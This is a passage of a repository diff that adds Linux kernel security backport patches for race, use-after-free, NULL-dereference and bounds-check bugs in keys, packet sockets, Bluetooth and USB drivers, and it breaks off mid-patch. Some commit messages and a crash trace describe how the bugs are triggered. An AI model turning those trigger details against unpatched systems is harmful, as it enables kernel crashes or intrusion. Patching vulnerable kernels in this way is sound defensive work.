Bochs 01/01/2011 + task: ffff8a467a39a340 task.stack: ffffb15c40770000 + RIP: 0010:encrypted_update+0xb0/0x170 + RSP: 0018:ffffb15c40773de8 EFLAGS: 00010246 + RAX: 0000000000000000 RBX: ffff8a467a275b00 RCX: 0000000000000000 + RDX: 0000000000000005 RSI: ffff8a467a275b14 RDI: ffffffffb742f303 + RBP: ffffb15c40773e20 R08: 0000000000000000 R09: ffff8a467a275b17 + R10: 0000000000000020 R11: 0000000000000000 R12: 0000000000000000 + R13: 0000000000000000 R14: ffff8a4677057180 R15: ffff8a467a275b0f + FS: 00007f5d7fb08700(0000) GS:ffff8a467f200000(0000) knlGS:0000000000000000 + CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 + CR2: 0000000000000018 CR3: 0000000077262005 CR4: 00000000001606f0 + Call Trace: + key_create_or_update+0x2bc/0x460 + SyS_add_key+0x10c/0x1d0 + entry_SYSCALL_64_fastpath+0x1f/0xbe + RIP: 0033:0x7f5d7f211259 + RSP: 002b:00007ffed03904c8 EFLAGS: 00000246 ORIG_RAX: 00000000000000f8 + RAX: ffffffffffffffda RBX: 000000003b2a7955 RCX: 00007f5d7f211259 + RDX: 00000000004009e4 RSI: 00000000004009ff RDI: 0000000000400a04 + RBP: 0000000068db8bad R08: 000000003b2a7955 R09: 0000000000000004 + R10: 000000000000001a R11: 0000000000000246 R12: 0000000000400868 + R13: 00007ffed03905d0 R14: 0000000000000000 R15: 0000000000000000 + Code: 77 28 e8 64 34 1f 00 45 31 c0 31 c9 48 8d 55 c8 48 89 df 48 8d 75 d0 e8 ff f9 ff ff 85 c0 41 89 c4 0f 88 84 00 00 00 4c 8b 7d c8 <49> 8b 75 18 4c 89 ff e8 24 f8 ff ff 85 c0 41 89 c4 78 6d 49 8b + RIP: encrypted_update+0xb0/0x170 RSP: ffffb15c40773de8 + CR2: 0000000000000018 + +Cc: # v2.6.12+ +Reported-by: Eric Biggers +Signed-off-by: David Howells +cc: Eric Biggers +Signed-off-by: Willy Tarreau +--- + security/keys/key.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +diff --git a/security/keys/key.c b/security/keys/key.c +index 6595b2dd89fe..6373ff18b8ea 100644 +--- a/security/keys/key.c ++++ b/security/keys/key.c +@@ -897,6 +897,16 @@ error: + */ + __key_link_end(keyring, ktype, prealloc); + ++ key = key_ref_to_ptr(key_ref); ++ if (test_bit(KEY_FLAG_USER_CONSTRUCT, &key->flags)) { ++ ret = wait_for_key_construction(key, true); ++ if (ret < 0) { ++ key_ref_put(key_ref); ++ key_ref = ERR_PTR(ret); ++ goto error_free_prep; ++ } ++ } ++ + key_ref = __key_update(key_ref, &prep); + goto error_free_prep; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0442.diff b/recipes-kernel/linux/linux-bass/autopatcher/0442.diff new file mode 100644 index 0000000..14b1552 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0442.diff @@ -0,0 +1,41 @@ +diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c +index bc4f090..8271254 100644 +--- a/net/packet/af_packet.c ++++ b/net/packet/af_packet.c +@@ -1292,10 +1292,6 @@ + + mutex_lock(&fanout_mutex); + +- err = -EINVAL; +- if (!po->running) +- goto out; +- + err = -EALREADY; + if (po->fanout) + goto out; +@@ -1333,7 +1329,10 @@ + list_add(&match->list, &fanout_list); + } + err = -EINVAL; +- if (match->type == type && ++ ++ spin_lock(&po->bind_lock); ++ if (po->running && ++ match->type == type && + match->prot_hook.type == po->prot_hook.type && + match->prot_hook.dev == po->prot_hook.dev) { + err = -ENOSPC; +@@ -1345,6 +1344,13 @@ + err = 0; + } + } ++ spin_unlock(&po->bind_lock); ++ ++ if (err && !atomic_read(&match->sk_ref)) { ++ list_del(&match->list); ++ kfree(match); ++ } ++ + out: + mutex_unlock(&fanout_mutex); + return err; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0443-2e1b54e38f15-diag Add mutex protection while reading dci debug statistics.patch b/recipes-kernel/linux/linux-bass/autopatcher/0443-2e1b54e38f15-diag Add mutex protection while reading dci debug statistics.patch new file mode 100644 index 0000000..137b8aa --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0443-2e1b54e38f15-diag Add mutex protection while reading dci debug statistics.patch @@ -0,0 +1,65 @@ +From 2e1b54e38f1516e70d9f6581c4f1ee935effb903 Mon Sep 17 00:00:00 2001 +From: Sreelakshmi Gownipalli +Date: Mon, 9 Oct 2017 12:59:56 -0700 +Subject: diag: Add mutex protection while reading dci debug statistics + +Unserialized access to diag_dbgfs_dci_data_index can lead to +heap overflow. Add mutex protection while updating the +diag_dbgfs_dci_data_index. + +Change-Id: Iee9d0447494e3576e6293afcd4d7611bc429aa8a +Signed-off-by: Sreelakshmi Gownipalli +--- + drivers/char/diag/diag_debugfs.c | 7 +++++-- + 1 file changed, 5 insertions(+), 2 deletions(-) + +diff --git a/drivers/char/diag/diag_debugfs.c b/drivers/char/diag/diag_debugfs.c +index b66c8cb..040790a 100644 +--- a/drivers/char/diag/diag_debugfs.c ++++ b/drivers/char/diag/diag_debugfs.c +@@ -50,7 +50,7 @@ static int diag_dbgfs_bridgeinfo_index; + static int diag_dbgfs_finished; + static int diag_dbgfs_dci_data_index; + static int diag_dbgfs_dci_finished; +- ++static struct mutex diag_dci_dbgfs_mutex; + static ssize_t diag_dbgfs_read_status(struct file *file, char __user *ubuf, + size_t count, loff_t *ppos) + { +@@ -151,6 +151,7 @@ static ssize_t diag_dbgfs_read_dcistats(struct file *file, + buf_size = ksize(buf); + bytes_remaining = buf_size; + ++ mutex_lock(&diag_dci_dbgfs_mutex); + if (diag_dbgfs_dci_data_index == 0) { + bytes_written = + scnprintf(buf, buf_size, +@@ -206,8 +207,8 @@ static ssize_t diag_dbgfs_read_dcistats(struct file *file, + } + temp_data++; + } +- + diag_dbgfs_dci_data_index = (i >= DIAG_DCI_DEBUG_CNT) ? 0 : i + 1; ++ mutex_unlock(&diag_dci_dbgfs_mutex); + bytes_written = simple_read_from_buffer(ubuf, count, ppos, buf, + bytes_in_buf); + kfree(buf); +@@ -1065,6 +1066,7 @@ int diag_debugfs_init(void) + pr_warn("diag: could not allocate memory for dci debug info\n"); + + mutex_init(&dci_stat_mutex); ++ mutex_init(&diag_dci_dbgfs_mutex); + return 0; + err: + kfree(dci_traffic); +@@ -1081,6 +1083,7 @@ void diag_debugfs_cleanup(void) + + kfree(dci_traffic); + mutex_destroy(&dci_stat_mutex); ++ mutex_destroy(&diag_dci_dbgfs_mutex); + } + #else + int diag_debugfs_init(void) { return 0; } +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0444.diff b/recipes-kernel/linux/linux-bass/autopatcher/0444.diff new file mode 100644 index 0000000..a262d5a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0444.diff @@ -0,0 +1,28 @@ +diff --git a/net/wireless/nl80211.c b/net/wireless/nl80211.c +index 3290bb3..3ab2a49 100644 +--- a/net/wireless/nl80211.c ++++ b/net/wireless/nl80211.c +@@ -466,6 +466,14 @@ + [NL80211_SCHED_SCAN_MATCH_ATTR_RSSI] = { .type = NLA_U32 }, + }; + ++/* policy for packet pattern attributes */ ++static const struct nla_policy ++nl80211_packet_pattern_policy[MAX_NL80211_WOWLAN_PKTPAT + 1] = { ++ [NL80211_WOWLAN_PKTPAT_MASK] = { .type = NLA_BINARY, }, ++ [NL80211_WOWLAN_PKTPAT_PATTERN] = { .type = NLA_BINARY, }, ++ [NL80211_WOWLAN_PKTPAT_OFFSET] = { .type = NLA_U32 }, ++}; ++ + static int nl80211_prepare_wdev_dump(struct sk_buff *skb, + struct netlink_callback *cb, + struct cfg80211_registered_device **rdev, +@@ -8251,7 +8259,7 @@ + nla_for_each_nested(pat, tb[NL80211_WOWLAN_TRIG_PKT_PATTERN], + rem) { + nla_parse(pat_tb, MAX_NL80211_WOWLAN_PKTPAT, +- nla_data(pat), nla_len(pat), NULL); ++ nla_data(pat), nla_len(pat), nl80211_packet_pattern_policy); + err = -EINVAL; + if (!pat_tb[NL80211_WOWLAN_PKTPAT_MASK] || + !pat_tb[NL80211_WOWLAN_PKTPAT_PATTERN]) diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0445-b8d57eb2f414-Bluetooth bnep bnepaddconnection should verify that its.patch b/recipes-kernel/linux/linux-bass/autopatcher/0445-b8d57eb2f414-Bluetooth bnep bnepaddconnection should verify that its.patch new file mode 100644 index 0000000..843185b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0445-b8d57eb2f414-Bluetooth bnep bnepaddconnection should verify that its.patch @@ -0,0 +1,42 @@ +From b8d57eb2f414876510ffffa88105a9d4f350f575 Mon Sep 17 00:00:00 2001 +From: Al Viro +Date: Fri, 19 Dec 2014 06:20:59 +0000 +Subject: Bluetooth: bnep: bnep_add_connection() should verify that it's + dealing with l2cap socket + +commit 71bb99a02b32b4cc4265118e85f6035ca72923f0 upstream. + +same story as cmtp + +Signed-off-by: Al Viro +Signed-off-by: Marcel Holtmann +Signed-off-by: Willy Tarreau +--- + net/bluetooth/bnep/core.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/net/bluetooth/bnep/core.c b/net/bluetooth/bnep/core.c +index e430b1abcd2f..e387e6719fa2 100644 +--- a/net/bluetooth/bnep/core.c ++++ b/net/bluetooth/bnep/core.c +@@ -32,6 +32,7 @@ + #include + + #include ++#include + #include + + #include "bnep.h" +@@ -539,6 +540,9 @@ int bnep_add_connection(struct bnep_connadd_req *req, struct socket *sock) + + BT_DBG(""); + ++ if (!l2cap_is_socket(sock)) ++ return -EBADFD; ++ + baswap((void *) dst, &bt_sk(sock->sk)->dst); + baswap((void *) src, &bt_sk(sock->sk)->src); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0446-4c7961ac8bd9-PATCH Bluetooth cmtp cmtpaddconnection should verify that.patch b/recipes-kernel/linux/linux-bass/autopatcher/0446-4c7961ac8bd9-PATCH Bluetooth cmtp cmtpaddconnection should verify that.patch new file mode 100644 index 0000000..00de3f8 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0446-4c7961ac8bd9-PATCH Bluetooth cmtp cmtpaddconnection should verify that.patch @@ -0,0 +1,32 @@ +From 4c7961ac8bd9dc93921fa6eb06100279ace7b4f9 Mon Sep 17 00:00:00 2001 +From: Al Viro +Date: Fri, 19 Dec 2014 06:20:58 +0000 +Subject: [PATCH] Bluetooth: cmtp: cmtp_add_connection() should verify that + it's dealing with l2cap socket + +... rather than relying on ciptool(8) never passing it anything else. Give +it e.g. an AF_UNIX connected socket (from socketpair(2)) and it'll oops, +trying to evaluate &l2cap_pi(sock->sk)->chan->dst... + +Bug: 33982955 +Signed-off-by: Al Viro +Signed-off-by: Marcel Holtmann +Change-Id: I078260c1b5be6a96b54c265da0236bf84842e450 +--- + net/bluetooth/cmtp/core.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/net/bluetooth/cmtp/core.c b/net/bluetooth/cmtp/core.c +index e0a6ebf2baa6f..84460f623fc8c 100644 +--- a/net/bluetooth/cmtp/core.c ++++ b/net/bluetooth/cmtp/core.c +@@ -334,6 +334,9 @@ int cmtp_add_connection(struct cmtp_connadd_req *req, struct socket *sock) + + BT_DBG(""); + ++ if (!l2cap_is_socket(sock)) ++ return -EBADFD; ++ + session = kzalloc(sizeof(struct cmtp_session), GFP_KERNEL); + if (!session) + return -ENOMEM; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0447-be3e7b176c28-USB serial console fix useafterfree after failed setup.patch b/recipes-kernel/linux/linux-bass/autopatcher/0447-be3e7b176c28-USB serial console fix useafterfree after failed setup.patch new file mode 100644 index 0000000..88e4b99 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0447-be3e7b176c28-USB serial console fix useafterfree after failed setup.patch @@ -0,0 +1,35 @@ +From be3e7b176c28cb919f81c3fa2ff63148be7a74e5 Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Wed, 4 Oct 2017 11:01:13 +0200 +Subject: USB: serial: console: fix use-after-free after failed setup + +commit 299d7572e46f98534033a9e65973f13ad1ce9047 upstream. + +Make sure to reset the USB-console port pointer when console setup fails +in order to avoid having the struct usb_serial be prematurely freed by +the console code when the device is later disconnected. + +Fixes: 73e487fdb75f ("[PATCH] USB console: fix disconnection issues") +Cc: stable # 2.6.18 +Acked-by: Greg Kroah-Hartman +Signed-off-by: Johan Hovold +Signed-off-by: Willy Tarreau +--- + drivers/usb/serial/console.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/usb/serial/console.c b/drivers/usb/serial/console.c +index 5f3bcd31e2045..f3bbe210119d5 100644 +--- a/drivers/usb/serial/console.c ++++ b/drivers/usb/serial/console.c +@@ -188,6 +188,7 @@ static int usb_console_setup(struct console *co, char *options) + kfree(tty); + reset_open_count: + port->port.count = 0; ++ info->port = NULL; + usb_autopm_put_interface(serial->interface); + error_get_interface: + usb_serial_put(serial); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0448-bbf26183b7a6-uwb properly check kthreadrun return value.patch b/recipes-kernel/linux/linux-bass/autopatcher/0448-bbf26183b7a6-uwb properly check kthreadrun return value.patch new file mode 100644 index 0000000..17aa402 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0448-bbf26183b7a6-uwb properly check kthreadrun return value.patch @@ -0,0 +1,54 @@ +From bbf26183b7a6236ba602f4d6a2f7cade35bba043 Mon Sep 17 00:00:00 2001 +From: Andrey Konovalov +Date: Thu, 14 Sep 2017 14:30:55 +0200 +Subject: uwb: properly check kthread_run return value + +uwbd_start() calls kthread_run() and checks that the return value is +not NULL. But the return value is not NULL in case kthread_run() fails, +it takes the form of ERR_PTR(-EINTR). + +Use IS_ERR() instead. + +Also add a check to uwbd_stop(). + +Signed-off-by: Andrey Konovalov +Cc: stable +Signed-off-by: Greg Kroah-Hartman +--- + drivers/uwb/uwbd.c | 12 ++++++++---- + 1 file changed, 8 insertions(+), 4 deletions(-) + +diff --git a/drivers/uwb/uwbd.c b/drivers/uwb/uwbd.c +index 01c20a260a8b..39dd4ef53c77 100644 +--- a/drivers/uwb/uwbd.c ++++ b/drivers/uwb/uwbd.c +@@ -302,18 +302,22 @@ static int uwbd(void *param) + /** Start the UWB daemon */ + void uwbd_start(struct uwb_rc *rc) + { +- rc->uwbd.task = kthread_run(uwbd, rc, "uwbd"); +- if (rc->uwbd.task == NULL) ++ struct task_struct *task = kthread_run(uwbd, rc, "uwbd"); ++ if (IS_ERR(task)) { ++ rc->uwbd.task = NULL; + printk(KERN_ERR "UWB: Cannot start management daemon; " + "UWB won't work\n"); +- else ++ } else { ++ rc->uwbd.task = task; + rc->uwbd.pid = rc->uwbd.task->pid; ++ } + } + + /* Stop the UWB daemon and free any unprocessed events */ + void uwbd_stop(struct uwb_rc *rc) + { +- kthread_stop(rc->uwbd.task); ++ if (rc->uwbd.task) ++ kthread_stop(rc->uwbd.task); + uwbd_flush(rc); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0449.diff b/recipes-kernel/linux/linux-bass/autopatcher/0449.diff new file mode 100644 index 0000000..115aeee --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0449.diff @@ -0,0 +1,40 @@ +diff --git a/sound/usb/mixer.c b/sound/usb/mixer.c +index d543808..35d6487 100644 +--- a/sound/usb/mixer.c ++++ b/sound/usb/mixer.c +@@ -2067,6 +2067,9 @@ + + static void snd_usb_mixer_free(struct usb_mixer_interface *mixer) + { ++ /* kill pending URBs */ ++ snd_usb_mixer_disconnect(&mixer->list); ++ + kfree(mixer->id_elems); + if (mixer->urb) { + kfree(mixer->urb->transfer_buffer); +@@ -2413,6 +2416,11 @@ + struct usb_mixer_interface *mixer; + + mixer = list_entry(p, struct usb_mixer_interface, list); +- usb_kill_urb(mixer->urb); +- usb_kill_urb(mixer->rc_urb); ++ if (mixer->disconnected) ++ return; ++ if (mixer->urb) ++ usb_kill_urb(mixer->urb); ++ if (mixer->rc_urb) ++ usb_kill_urb(mixer->rc_urb); ++ mixer->disconnected = true; + } +diff --git a/sound/usb/mixer.h b/sound/usb/mixer.h +index aab80df..041b571 100644 +--- a/sound/usb/mixer.h ++++ b/sound/usb/mixer.h +@@ -23,6 +23,7 @@ + + u8 audigy2nx_leds[3]; + u8 xonar_u1_status; ++ bool disconnected; + }; + + #define MAX_CHANNELS 16 /* max logical channels */ diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0450.diff b/recipes-kernel/linux/linux-bass/autopatcher/0450.diff new file mode 100644 index 0000000..9e9bf1b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0450.diff @@ -0,0 +1,43 @@ +diff --git a/drivers/usb/core/config.c b/drivers/usb/core/config.c +index 7199adc..8fc4497 100644 +--- a/drivers/usb/core/config.c ++++ b/drivers/usb/core/config.c +@@ -510,15 +510,23 @@ + + } else if (header->bDescriptorType == + USB_DT_INTERFACE_ASSOCIATION) { ++ struct usb_interface_assoc_descriptor *d; ++ ++ d = (struct usb_interface_assoc_descriptor *)header; ++ if (d->bLength < USB_DT_INTERFACE_ASSOCIATION_SIZE) { ++ dev_warn(ddev, ++ "config %d has an invalid interface association descriptor of length %d, skipping\n", ++ cfgno, d->bLength); ++ continue; ++ } ++ + if (iad_num == USB_MAXIADS) { + dev_warn(ddev, "found more Interface " + "Association Descriptors " + "than allocated for in " + "configuration %d\n", cfgno); + } else { +- config->intf_assoc[iad_num] = +- (struct usb_interface_assoc_descriptor +- *)header; ++ config->intf_assoc[iad_num] = d; + iad_num++; + } + +diff --git a/include/uapi/linux/usb/ch9.h b/include/uapi/linux/usb/ch9.h +index aa33fd1..400196c 100644 +--- a/include/uapi/linux/usb/ch9.h ++++ b/include/uapi/linux/usb/ch9.h +@@ -705,6 +705,7 @@ + __u8 iFunction; + } __attribute__ ((packed)); + ++#define USB_DT_INTERFACE_ASSOCIATION_SIZE 8 + + /*-------------------------------------------------------------------------*/ + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0451-7c80f9e4a588-usb usbtest fix NULL pointer dereference.patch b/recipes-kernel/linux/linux-bass/autopatcher/0451-7c80f9e4a588-usb usbtest fix NULL pointer dereference.patch new file mode 100644 index 0000000..a3118d5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0451-7c80f9e4a588-usb usbtest fix NULL pointer dereference.patch @@ -0,0 +1,41 @@ +From 7c80f9e4a588f1925b07134bb2e3689335f6c6d8 Mon Sep 17 00:00:00 2001 +From: Alan Stern +Date: Fri, 29 Sep 2017 10:54:24 -0400 +Subject: usb: usbtest: fix NULL pointer dereference + +If the usbtest driver encounters a device with an IN bulk endpoint but +no OUT bulk endpoint, it will try to dereference a NULL pointer +(out->desc.bEndpointAddress). The problem can be solved by adding a +missing test. + +Signed-off-by: Alan Stern +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +Signed-off-by: Felipe Balbi +--- + drivers/usb/misc/usbtest.c | 5 +++-- + 1 file changed, 3 insertions(+), 2 deletions(-) + +diff --git a/drivers/usb/misc/usbtest.c b/drivers/usb/misc/usbtest.c +index 113e38bfe0ef..b3fc602b2e24 100644 +--- a/drivers/usb/misc/usbtest.c ++++ b/drivers/usb/misc/usbtest.c +@@ -202,12 +202,13 @@ found: + return tmp; + } + +- if (in) { ++ if (in) + dev->in_pipe = usb_rcvbulkpipe(udev, + in->desc.bEndpointAddress & USB_ENDPOINT_NUMBER_MASK); ++ if (out) + dev->out_pipe = usb_sndbulkpipe(udev, + out->desc.bEndpointAddress & USB_ENDPOINT_NUMBER_MASK); +- } ++ + if (iso_in) { + dev->iso_in = &iso_in->desc; + dev->in_iso_pipe = usb_rcvisocpipe(udev, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0452.diff b/recipes-kernel/linux/linux-bass/autopatcher/0452.diff new file mode 100644 index 0000000..6bb2428 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0452.diff @@ -0,0 +1,33 @@ +diff --git a/drivers/hid/usbhid/hid-core.c b/drivers/hid/usbhid/hid-core.c +index 9941828..d44d3c1 100644 +--- a/drivers/hid/usbhid/hid-core.c ++++ b/drivers/hid/usbhid/hid-core.c +@@ -1017,6 +1017,8 @@ + unsigned int rsize = 0; + char *rdesc; + int ret, n; ++ int num_descriptors; ++ size_t offset = offsetof(struct hid_descriptor, desc); + + quirks = usbhid_lookup_quirk(le16_to_cpu(dev->descriptor.idVendor), + le16_to_cpu(dev->descriptor.idProduct)); +@@ -1039,10 +1041,18 @@ + return -ENODEV; + } + ++ if (hdesc->bLength < sizeof(struct hid_descriptor)) { ++ dbg_hid("hid descriptor is too short\n"); ++ return -EINVAL; ++ } ++ + hid->version = le16_to_cpu(hdesc->bcdHID); + hid->country = hdesc->bCountryCode; + +- for (n = 0; n < hdesc->bNumDescriptors; n++) ++ num_descriptors = min_t(int, hdesc->bNumDescriptors, ++ (hdesc->bLength - offset) / sizeof(struct hid_class_descriptor)); ++ ++ for (n = 0; n < num_descriptors; n++) + if (hdesc->desc[n].bDescriptorType == HID_DT_REPORT) + rsize = le16_to_cpu(hdesc->desc[n].wDescriptorLength); + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0453-da983ccb0e11-PATCH BACKPORT USB core harden cdcparsecdcheader.patch b/recipes-kernel/linux/linux-bass/autopatcher/0453-da983ccb0e11-PATCH BACKPORT USB core harden cdcparsecdcheader.patch new file mode 100644 index 0000000..3b276d9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0453-da983ccb0e11-PATCH BACKPORT USB core harden cdcparsecdcheader.patch @@ -0,0 +1,124 @@ +From da983ccb0e1114206b55a549d9ef0273374866e7 Mon Sep 17 00:00:00 2001 +From: Marissa Wall +Date: Thu, 16 Nov 2017 14:32:40 -0800 +Subject: [PATCH] BACKPORT: USB: core: harden cdc_parse_cdc_header + +Andrey Konovalov reported a possible out-of-bounds problem for the +cdc_parse_cdc_header function. He writes: + It looks like cdc_parse_cdc_header() doesn't validate buflen + before accessing buffer[1], buffer[2] and so on. The only check + present is while (buflen > 0). + +So fix this issue up by properly validating the buffer length matches +what the descriptor says it is. + +(cherry picked from commit 2e1c42391ff2556387b3cb6308b24f6f65619feb) + +(The original patch fixed the generic cdc_parser_cdc_header function. +That generic function did not exist in 3.10 but there are a couple +cdc parsers that suffer from the same underlying problem.) + +Bug: 69052594 +Change-Id: I75b16a1eaad8a06bd9ef1db66148f72e965a341f +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +Cc: stable +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Marissa Wall +--- + drivers/net/usb/cdc-phonet.c | 4 ++-- + drivers/net/usb/cdc_ether.c | 8 +++++++- + drivers/net/usb/qmi_wwan.c | 7 ++++++- + drivers/usb/class/cdc-acm.c | 5 +++++ + drivers/usb/class/cdc-wdm.c | 7 ++++++- + 5 files changed, 26 insertions(+), 5 deletions(-) + +diff --git a/drivers/net/usb/cdc-phonet.c b/drivers/net/usb/cdc-phonet.c +index 7d78669000d..af49e8fcd71 100644 +--- a/drivers/net/usb/cdc-phonet.c ++++ b/drivers/net/usb/cdc-phonet.c +@@ -343,9 +343,9 @@ int usbpn_probe(struct usb_interface *intf, const struct usb_device_id *id) + + data = intf->altsetting->extra; + len = intf->altsetting->extralen; +- while (len >= 3) { ++ while (len > 0) { + u8 dlen = data[0]; +- if (dlen < 3) ++ if ((len < dlen) || (dlen < 3 )) + return -EINVAL; + + /* bDescriptorType */ +diff --git a/drivers/net/usb/cdc_ether.c b/drivers/net/usb/cdc_ether.c +index b1897c7afdd..71e11ebf11a 100644 +--- a/drivers/net/usb/cdc_ether.c ++++ b/drivers/net/usb/cdc_ether.c +@@ -128,7 +128,13 @@ int usbnet_generic_cdc_bind(struct usbnet *dev, struct usb_interface *intf) + + memset(info, 0, sizeof *info); + info->control = intf; +- while (len > 3) { ++ while (len > 0) { ++ ++ if ((len < buf [0]) || (buf [0] < 3)) { ++ dev_dbg(&intf->dev, "invalid descriptor buffer length\n"); ++ goto bad_desc; ++ } ++ + if (buf [1] != USB_DT_CS_INTERFACE) + goto next_desc; + +diff --git a/drivers/net/usb/qmi_wwan.c b/drivers/net/usb/qmi_wwan.c +index 12aaf1f4f89..95b616bf48f 100644 +--- a/drivers/net/usb/qmi_wwan.c ++++ b/drivers/net/usb/qmi_wwan.c +@@ -235,9 +235,14 @@ static int qmi_wwan_bind(struct usbnet *dev, struct usb_interface *intf) + info->data = intf; + + /* and a number of CDC descriptors */ +- while (len > 3) { ++ while (len > 0) { + struct usb_descriptor_header *h = (void *)buf; + ++ if ((len < buf[0]) || (buf[0] < 3)) { ++ dev_dbg(&intf->dev, "invalid descriptor buffer length\n"); ++ goto err; ++ } ++ + /* ignore any misplaced descriptors */ + if (h->bDescriptorType != USB_DT_CS_INTERFACE) + goto next_desc; +diff --git a/drivers/usb/class/cdc-acm.c b/drivers/usb/class/cdc-acm.c +index 802df033e24..62e3b48062e 100644 +--- a/drivers/usb/class/cdc-acm.c ++++ b/drivers/usb/class/cdc-acm.c +@@ -1028,6 +1028,11 @@ static int acm_probe(struct usb_interface *intf, + } + + while (buflen > 0) { ++ if ((buflen < buffer[0]) || (buffer[0] < 3)) { ++ dev_err(&intf->dev, "invalid descriptor buffer length\n"); ++ break; ++ } ++ + if (buffer[1] != USB_DT_CS_INTERFACE) { + dev_err(&intf->dev, "skipping garbage\n"); + goto next_desc; +diff --git a/drivers/usb/class/cdc-wdm.c b/drivers/usb/class/cdc-wdm.c +index 07133d0c971..e5b24e51946 100644 +--- a/drivers/usb/class/cdc-wdm.c ++++ b/drivers/usb/class/cdc-wdm.c +@@ -841,7 +841,12 @@ static int wdm_probe(struct usb_interface *intf, const struct usb_device_id *id) + + if (!buffer) + goto err; +- while (buflen > 2) { ++ while (buflen > 0) { ++ if ((buflen < buffer[0]) || (buffer[0] < 3)) { ++ dev_err(&intf->dev, "invalid descriptor buffer length\n"); ++ goto err; ++ } ++ + if (buffer[1] != USB_DT_CS_INTERFACE) { + dev_err(&intf->dev, "skipping garbage\n"); + goto next_desc; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0454.diff b/recipes-kernel/linux/linux-bass/autopatcher/0454.diff new file mode 100644 index 0000000..2b7931a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0454.diff @@ -0,0 +1,19 @@ +diff --git a/drivers/usb/core/config.c b/drivers/usb/core/config.c +index 8fc4497..873c861 100644 +--- a/drivers/usb/core/config.c ++++ b/drivers/usb/core/config.c +@@ -830,10 +830,12 @@ + for (i = 0; i < num; i++) { + buffer += length; + cap = (struct usb_dev_cap_header *)buffer; +- length = cap->bLength; + +- if (total_len < length) ++ if (total_len < sizeof(*cap) || total_len < cap->bLength) { ++ dev->bos->desc->bNumDeviceCaps = i; + break; ++ } ++ length = cap->bLength; + total_len -= length; + + if (cap->bDescriptorType != USB_DT_DEVICE_CAPABILITY) { diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0455-58fd55e83827-media imon Fix nullptrderef in imonprobe.patch b/recipes-kernel/linux/linux-bass/autopatcher/0455-58fd55e83827-media imon Fix nullptrderef in imonprobe.patch new file mode 100644 index 0000000..2ae47ca --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0455-58fd55e83827-media imon Fix nullptrderef in imonprobe.patch @@ -0,0 +1,35 @@ +From 58fd55e838276a0c13d1dc7c387f90f25063cbf3 Mon Sep 17 00:00:00 2001 +From: Arvind Yadav +Date: Mon, 9 Oct 2017 20:14:48 +0200 +Subject: media: imon: Fix null-ptr-deref in imon_probe + +It seems that the return value of usb_ifnum_to_if() can be NULL and +needs to be checked. + +Signed-off-by: Arvind Yadav +Tested-by: Andrey Konovalov +Signed-off-by: Sean Young +Signed-off-by: Mauro Carvalho Chehab +--- + drivers/media/rc/imon.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/drivers/media/rc/imon.c b/drivers/media/rc/imon.c +index 9724fe8110e3..9fef8cc17114 100644 +--- a/drivers/media/rc/imon.c ++++ b/drivers/media/rc/imon.c +@@ -2515,6 +2515,11 @@ static int imon_probe(struct usb_interface *interface, + mutex_lock(&driver_lock); + + first_if = usb_ifnum_to_if(usbdev, 0); ++ if (!first_if) { ++ ret = -ENODEV; ++ goto fail; ++ } ++ + first_if_ctx = usb_get_intfdata(first_if); + + if (ifnum == 0) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0456-3d932ee27e85-media dvbusbv2 lmedm04 Improve logic checking of warm start.patch b/recipes-kernel/linux/linux-bass/autopatcher/0456-3d932ee27e85-media dvbusbv2 lmedm04 Improve logic checking of warm start.patch new file mode 100644 index 0000000..749e498 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0456-3d932ee27e85-media dvbusbv2 lmedm04 Improve logic checking of warm start.patch @@ -0,0 +1,86 @@ +From 3d932ee27e852e4904647f15b64dedca51187ad7 Mon Sep 17 00:00:00 2001 +From: Malcolm Priestley +Date: Tue, 26 Sep 2017 17:10:20 -0400 +Subject: media: dvb-usb-v2: lmedm04: Improve logic checking of warm start + +Warm start has no check as whether a genuine device has +connected and proceeds to next execution path. + +Check device should read 0x47 at offset of 2 on USB descriptor read +and it is the amount requested of 6 bytes. + +Fix for +kasan: 